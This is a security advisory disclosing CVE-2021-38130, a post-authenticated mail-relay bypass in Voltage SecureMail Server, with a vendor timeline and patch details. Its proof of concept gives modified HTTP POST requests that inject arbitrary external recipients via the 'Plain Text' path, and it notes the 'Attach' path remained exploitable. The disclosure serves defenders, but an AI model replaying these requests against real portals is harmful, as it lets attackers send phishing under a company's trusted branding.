Security Advisory
=======================================================================
              title: Business Logic Bypass - Mail Relay
                     (Post-authenticated)
            product: Voltage SecureMail Server
 vulnerable version: Voltage SecureMail Server <v7.3.0.1
      fixed version: Voltage SecureMail Server v7.3.0.1
         CVE number: CVE-2021-38130
             impact: Medium
           homepage: https://www.microfocus.com/en-us/cyberres/data-privacy-protection/secure-mail
              found: 2021-06-25
                 by: TING Meng Yean (GIS Red Team)
                     United Overseas Bank Limited (UOB)

=======================================================================

Vendor description:
-------------------
Voltage SecureMail simplifies compliance to privacy regulations,
including MA, PCI, HITECH, UK FSA, and EU Data privacy directives,
and mitigates the risk of email security breaches. Voltage SecureMail
provides end-to-end security for email and attachments, inside the
enterprise to the desktop, at the enterprise gateway, and across
leading mobile smartphones and tablets. The solution provides the
confidence and peace of mind that sensitive data is protected in
transit and in storage, wherever it is in an email system to any
inbox (e.g., Outlook, Lotus Notes, Gmail, and Yahoo!), without
disrupting existing email services or business processes.

Source: http://www.securemailworks.com/SecureMail.asp


Business recommendation:
------------------------
The vendor provides a patch and users of this product are urged to
upgrade to the latest version available.

Reference: https://portal.microfocus.com/s/article/KM000003667

An in-depth security analysis performed by security professionals is
highly advised, as the software may be affected from further security
issues.


Vulnerability overview/description:
-----------------------------------
Business Logic Bypass - Mail Relay (Post-authenticated)
- CVE CVE-2021-38130
- CWE-284: Improper Access Control
- CVSSv3: 5.4 (Medium)
https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N


Voltage SecureMail is an email protection service that provides email
encryption. With each secure email, there is an HTML attachment named
"message_zdm.html" that furnishes access to the Zero Download Messenger
(ZDM), which can be a web portal or mobile app. The encrypted body of
the original message as well as any attachments to the original email
is contained within this attachment.

The email recipient needs to install Voltage SecureMail app (for mobile) or
browse to the Voltage SecureMail Server portal (desktop) to authenticate and
view any secure email and attachments sent via ZDM.

When the recipient opens the "message_zdm.html" file for the first time
on a desktop, the browser is brought to the corporation's SecureMail
portal where the user has to create a password in order to continue.

An email verification email is sent to the recipient with a One Time Link,
and the recipient can read the email on the SecureMail portal after clicking
on the link.

If the recipient opens the "message_zdm.html" file again in the future,
the recipient has to input the previously created password.

When viewing the email on the SecureMail portal, the recipient can
choose to reply to the email by clicking "Reply" or "Reply to All".
The SecureMail portal only allows the recipient to reply to the
original email sender and to the email addresses in the Cc/Bcc list.
However, it is possible to modify the original email addresses in the
"to", "cc" or "bcc" fields, or to add arbitrary email addresses, by
sending a special POST request.

As the SecureMail portal displays the logo and valid SSL certificate of
the corporation in use, an attacker who have received a SecureMail encrypted
email previously can make use of the SecureMail portal to send phishing
emails to third parties. Note that the attacker is unable to spoof
the "from" address, so the emails to third parties will be from the
attacker's email address.


Proof of concept:
-----------------
When the recipient replies to the email by clicking "Reply" or "Reply to All", the
recipient is brought to the "Compose New Message" page. To send the email reply,
the recipient then clicks on the "Send Secure" button.

The SecureMail portal does not allow the modification of the "to", "cc" or
"bcc" field if the user attempts to intercept the POST request after
clicking on the "Send Secure" button.

However, if the user attempts to intercept the POST request after
clicking on the "Plain Text" button, the modification of the "to", "cc" or
"bcc" field is successful.

The modified email is then successfully sent out after the user
click on the "Send Secure" button.

It is noted that there is one difference in the POST request parameters
between a "Send Secure" and "Plain Text" that allows the "to", "cc" and
"bcc" fields to be modified, and the difference is the "send" versus "x"
parameters. The rest pf the contents of the "Send Secure" and "Plain Text"
POST requests are almost identical.



Original "Send Secure" Request
########################################################################
POST /writer/br/<...snipped...>?messageId=8243308068279188139899373802011392625 HTTP/1.1
Host: <...snipped...>
Cookie: JSESSIONID=<...snipped...>; zdmSessionId=<...snipped...>; zdmIdentity=<...snipped...>; CSRFToken=<...snipped...>
Content-Type: multipart/form-data; boundary=---------------------------289584800395870328816642372
Te: trailers

-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="CSRFToken"

<...snipped...>
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="c"

c3
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="h"

h924481124
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="send"

send
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="senderKeyEnc"

<...snipped...>
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="to"

original.sender@corp.com
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="showCcEnabled"

on
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="cc"


-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="bcc"


-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="subject"

RE: <...snipped...>
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="attachment"; filename=""
Content-Type: application/octet-stream


-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="editModeToggle"

0
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="body"

<...snipped...>
-----------------------------289584800395870328816642372
########################################################################




Modified "Plain Text" request
########################################################################
POST /writer/br/<...snipped...>?messageId=8243308068279188139899373802011392625 HTTP/1.1
Host: <...snipped...>
Cookie: JSESSIONID=<...snipped...>; zdmSessionId=<...snipped...>; zdmIdentity=<...snipped...>; CSRFToken=<...snipped...>
Content-Type: multipart/form-data; boundary=---------------------------289584800395870328816642372
Te: trailers

-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="CSRFToken"

<...snipped...>
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="c"

c3
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="h"

h924481124
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="x"

x
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="senderKeyEnc"

<...snipped...>
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="to"

victim1@external.com
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="showCcEnabled"

on
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="cc"

victim2@external.com
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="bcc"

victim3@external.com
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="subject"

RE: <...snipped...>
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="attachment"; filename=""
Content-Type: application/octet-stream


-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="editModeToggle"

1
-----------------------------289584800395870328816642372
Content-Disposition: form-data; name="body"

<...snipped...>
-----------------------------289584800395870328816642372--
########################################################################


As of the patched Voltage SecureMail Server version 7.3.0-259490, the
vulnerability for the "Plain Text" was no longer replicable. However, the same
vulnerability can be replicated using the "Attach" function.


Vulnerable / tested versions:
-----------------------------
The following version has been tested and found to be vulnerable:
* 7.3
* 7.3.0-259490


Vendor contact timeline (GMT+8):
--------------------------------
2021-06-25: Contacting vendor through their SecureMail product support team.
2021-06-28: Contacting Micro Focus Product Security Response Team (PSRT)
            security@microfocus.com to request for CVE number.
2021-06-29: Micro Focus PSRT opened PSRT case 80358.
2021-07-02: SecureMail product support team confirmed the vulnerability and
            working on patch.
2021-07-31: SecureMail product support team released test patch v7.3.0-259490.
2021-08-04: Confirmed vulnerability "Plain Text" function was no longer
            replicable, but the same vulnerability can be replicated using the
            "Attach" function. Notified the SecureMail product support team.
2021-11-11: SecureMail product support team released patch v7.3.0.1.
2022-01-21: Requested Micro Focus PSRT for updates.
2022-01-24: Micro Focus PSRT responded with assigned CVE number.
2022-01-29: Micro Focus PSRT published security bulletin.
2022-02-03: Coordinated release of security advisory.


Solution:
---------
According to the vendor, Voltage SecureMail resolved this vulnerability
in the version 7.3.0.1 patch release and customers should contact their support
representative for information about downloading and applying the patch.


Security Bulletin URL:
----------------------
https://portal.microfocus.com/s/article/KM000003667

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Meng Yean TING (GIS Red Team)
United Overseas Bank Limited (UOB)

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